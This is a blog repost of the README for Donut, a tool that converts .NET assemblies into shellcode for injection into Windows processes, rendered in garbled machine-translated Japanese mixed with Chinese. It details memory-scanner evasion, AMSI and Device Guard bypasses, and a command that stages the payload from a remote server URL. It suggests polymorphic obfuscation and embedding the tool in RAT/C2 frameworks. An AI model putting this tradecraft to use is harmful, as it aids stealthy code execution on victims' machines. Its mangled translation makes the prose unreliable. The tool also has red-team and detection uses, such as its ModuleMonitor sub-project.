ドーナツ:Windowsの.NETアセンブリ注入工程

クリエイティブコモンズライセンス 著作権:帰属、紙ベースを作成するために他人を許可し、(同じライセンスで元のライセンス契約に基づいて用紙配布する必要がありますクリエイティブコモンズ

ここに画像を挿入説明

ドーナツに関係なく、.NETアセンブリの位置のシェルコードを作成することができシェルコード生成ツールである
ペイロード。このシェルコードは、任意のWindowsプロセスアセンブリを注入するために使用することができます。任意の.NETアセンブリのパラメータ及びエントリーポイント(例えばProgram.Main)与えられた、ドーナツは、シェルコード米国の位置とは無関係に生成され、メモリからロードすることができます。.NETアセンブリは、URLまたは無段階に直接埋め込まれたシェルコードから上演することができます。いずれにせよ、.NETアセンブリがChaskey使用される
ブロック
鍵暗号とランダムに生成された128ビットの暗号化を。CLRの採用がアセンブリをロードした後、元の参照は、検出を回避するために、メモリ・スキャナにメモリから削除されます。アセンブリは、新しいアプリケーションドメイン(アプリケーションドメイン)にロードされた
アセンブリ内の解放のAppDomainの実行を許可します。これは、さまざまな方法で使用することができます。

スタンドアロンのツールとして使用します

ドーナツは、任意の.NETアセンブリからシェルコードを生成するために使用すること。WindowsのEXEやPythonスクリプトを提供しながら、ペイロード世代の(のpythonのv1.0のバージョンの予定)。次のようにコマンドライン構文は次のとおりです。

usage: donut [options] -f <.NET assembly>

       -f <path>            .NET assembly to embed in PIC and DLL.
       -u <URL>             HTTP server that will host the .NET assembly.
       -c <namespace.class> Optional class name. (required for DLL)
       -m <method>          Optional method name. (required for DLL)
       -p <arg1,arg2...>    Optional parameters or command line, separated by comma or semi-colon.
       -a <arch>            Target architecture : 1=x86, 2=amd64, 3=amd64+x86(default).
       -r <version>         CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
       -d <name>            AppDomain name to create for assembly. Randomly generated by default.

 examples:

    donut -f assembly.exe
    donut -a1 -cTestClass -mRunProcess -pnotepad.exe -floader.dll
    donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/

ドーナツは、ソースからビルド

各リリースバージョンのタグを提供しているコンパイルされた実行可能ファイルのドーナツが含まれています。

v0.9 Beta:https://github.com/TheWover/donut/releases/tag/v0.9

v0.9.1 Beta:https://github.com/TheWover/donut/releases/tag/v0.9.1

あなたはまた、提供、独自のクローンとメイクファイルを構築するためにソースコードを使用することができます。マイクロソフトのVisual Studioの開発者コマンドプロンプトとCDがディレクトリドーナツに起動します。Makefileの(非GCC)-f Makefile.msvcで指定することができます。ドーナツを構築するためのコマンドを次のメイクファイル:

nmake donut -f Makefile.msvc
nmake debug -f Makefile.msvc
nmake clean -f Makefile.msvc

ライブラリとして

Linuxの(.A / .soという)およびWindows(.libファイル/ .dllファイル)の場合、ドーナツは、動的および静的ライブラリにコンパイルすることができます。これは、内のドキュメント/ api.htmlで説明したシンプルなAPIを、持っています。エクスポートは、2つの機能を提供しています。int DonutCreate(PDONUT_CONFIG c)及びINT DonutDelete(PDONUT_CONFIG C)。

復興シェルコード - テンプレートとして

payload.cは、.NETアセンブリローダーが含まれている、ローダーは、Microsoft Visual StudioとのMinGW-W64は、正常にコンパイルを使用する必要があります。これは、デフォルトでは、2つのコンパイラを作るために文書を提供している、両方利用できるx86のラベルとして作る/ NMAKEしない限り、コンパイラは、x86-64のシェルコードを生成します。payload.cが変更されるたびに再構築ドーナツは、すべてのアーキテクチャを再コンパイルする前に、それが推奨されます。

マイクロソフトのVisual Studio

[開く]のx64のMicrosoft Visual Studioのビルド環境、ディレクトリへのペイロード・スイッチ、および次のように入力します。

nmake clean -f Makefile.msvc
nmake -f Makefile.msvc

これはpayload.cう。Exe2h次に、シェルコードの.textsegmentのPEファイルから抽出された64ビットの実行可能ファイル(payload.exe)、およびCアレイを生成、payload_exe_x64.hを保存します。とき復興ドーナツ、この新しいシェルコードは、それが生成するすべてのペイロードのために使用されます。

私は、32ビットのシェルコード、オープンのx86のMicrosoft Visual Studioのビルド環境、ペイロードを生成したディレクトリに切り替えて、次のように入力します:

nmake clean -f Makefile.msvc
nmake x86 -f Makefile.msvc

これは、C配列としてpayload_exe_x86.hのシェルコードが保存されます。

mingwの-W64

あなたがLinux上であると仮定し、mingwの-W64は、あなたはまだ私たちはシェルコードを再構築するために提供メイクファイルを使用することができ、パッケージやソースコードからインストールされています。ペイロードディレクトリに切り替え、次のように入力します。

make clean -f Makefile.mingw
make -f Makefile.mingw

すべてのアーキテクチャ用に再コンパイルしたら、あなたはドーナツを再構築することができます。
バイパス

AMSIおよびその他のセキュリティ機能のバイパスシステムを含むドーナツ。現在はバイパスすることができます:

.NET v4.8中的AMSI

Device Guard策略阻止动态生成的代码执行

また、ペイロード/ bypass.cをバイパスする独自のプログラムをカスタマイズしたり、追加することができます。

各バイパス使用BOOL DisableAMSI(PDONUT_INSTANCE工大)署名アルゴリズムDisableAMSI機能と対応する前処理命令が含まれます。私たちは、定義をチェックするには、いくつかの#if定義されたブロックがあります。バイパスの各ブロックは、同じ機能を実現しています。例えば、私たちの最初のバイパスがBYPASS_AMSI_Aと呼ばれます。ドーナツは、定義された変数で構成されている場合は、バイパスが使用されます。

これはなぜでしょうか?それはあなただけでは内蔵のバイパスpayload.exeを使用することを意味するので。したがって、他のコードは、シェルコードに含まれていません。これは、シェルコード、モジュラー設計の増加の大きさと複雑さを軽減し、スキャナは、あなたが実際にシェルコードで使用されていない不審な見つけることはブロックできないことを保証します。

このような設計のもう一つの利点は、あなたがあなた自身のAMSIバイパスを書くことができるということです。ドーナツ構築し、新たなバイパスを使用するには、定義されたブロックは、バイパスを行う場合に使用し、構築された名前定義されたバイパスを使用するオプションを追加するために、メイクファイルを変更してください。

ご希望の場合は、.NETアセンブリをロードする前に、追加の実行前ロジックの実行を追加するために、当社のバイパスシステムを拡張することができます。

ここでは、を参照することができバイパス研究AMSIに関する詳細な記事です。

個人的なアドバイス

次の推奨事項は、あなたのための練習として残しています。

添加环境键控

每次生成shellcode时,通过混淆payload使donut具有多态性

将donut作为模块集成到你最喜欢的RAT/C2框架中

免責条項

我们不会针对任何的AV和检测实时更新签名进行对抗。

对于任何滥用此软件或技术的行为,我们概不负责!该工具仅作为研究学习使用!

作品
手順

ドーナツは、共通言語ランタイム(共通言語ランタイム)をロードするために管理されていないCLRホスティングAPIを使用します。必要であれば、アセンブリがメモリにダウンロードされます。いずれにせよ、それを解読するためにChaskeyブロック暗号を使用します。CLRは、ホストプロセスにロードされた後は、特に断りのない限り、ランダムな名前を使用して新規のAppDomainを作成します。AppDomainのはAppDomain.Load_3を通じて.NETアセンブリをロードする準備ができた後。最後に、ユーザーエントリポイントで指定された指定されたパラメータへの呼び出し。

記述された論理世代以上のシェルコードのドーナツは、それがどのように動作するかです。このロジックはpayload.exeで定義されています。シェルコード、exe2h抽出機械コードのセグメントは.textにpayload.exeからコンパイルし、C Cにヘッダファイル配列として保存。ドーナツ(シェルコード構成)とドーナツモジュール(.NETアセンブリを含む、クラス名、メソッド名、および任意のパラメータ)を有するドーナツシェルコードの例が組み合わされます。

未記録に関連するAPIドキュメントをホスティングCLR、MSDNを参照してください。https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces

単独のCLRホストの例については、AssemblyLoaderリポジトリのケーシー・スミスを参照してください。https://github.com/caseysmithrc/AssemblyLoader

ボーエンドーナツがどのように機能するかの詳細については、OdzhanとTheWoverブログで見つけることができます。READMEの先頭に位置するリンク。

パッケージ

donut.c: donut payload生成器源码

donut.exe: 编译为可执行文件EXE

donut.py: 编译为Python script(计划用于v1.0版的python)

lib/donut.dll, lib/donut.lib: 在Windows平台将Donut作为一个动态和静态库用于其他项目

lib/donut.so, lib/donut.a:在Linux平台将Donut作为一个动态和静态库用于其他项目

lib/donut.h: 如果在C/C++项目中使用静态库或动态库,则包含头文件

payload/payload.c:shellcode源码

payload/payload.exe: 编译的payload。shellcode是从这个二进制文件中提取的。

payload/inject.c:一个C shellcode injector,注入payload.bin到一个特定进程用于测试。

payload/inject.exe: 编译的C shellcode injector

payload/runsc.c:一个C shellcode runner,用于以最简单的方式测试payload.bin

payload/runsc.exe: 编译的C shellcode runner

payload/exe2h/exe2h.c: exe2h源码

payload/exe2h/exe2h.exe: 从payload.exe中提取有用的机器代码,并将其作为数组保存到C头文件中

encrypt.c: 在Counter(CTR)模式下用于加密的Chaskey 128-bit block cipher。

hash.c: Maru hash 功能。使用具有Davies-Meyer构造的Speck 64位分组密码进行API散列。

サブプロジェクト

:ドーナツは、4つの支持プロジェクト提供
DemoCreateProcess:.NETアセンブリの例をテストするために。2つのコマンドラインパラメータを使用して、各パラメータは、実行される手順を指定します。

DonutTest:シェルコード番号Cのための簡単なテストをドーナツ
インジェクタ。シェルコードは、base64エンコードすること、および文字列をコピーしなければなりません。

ModuleMonitor:それは組み立てツールなどの実行ドーナツとコバルトストライクによって行われるため、コンセプトツール、CLRの注入を検出することができます。

ProcessManager:プロセス発見ツールは、攻撃者が注入コンテンツを決定するために使用することができ、守備がランニングの内容を決定するために使用することができ、これらの方法は、彼らがCLRをロードするプロパティ、およびかどうかを持っています。

プロジェクト計画

创建一个donut Python C扩展,允许用户编写可以通过编程方式使用donut API的Python程序。它将用C语言编写,但作为Python模块公开。

创建一个C#版本的生成器

创建一个donut.py生成器,使用与donut.exe相同的命令行参数

添加对HTTP代理的支持

如果可能,找到简化shellcode的方法

添加选项以指定最大参数长度

添加对动态查找EXE入口点并使用命令行参数执行的支持

写一篇博文,介绍如何将donut集成到你的工具中,并进行调试和定制,以及设计与之可协同工作的的payload。

おすすめ

転載: blog.csdn.net/kclax/article/details/93727011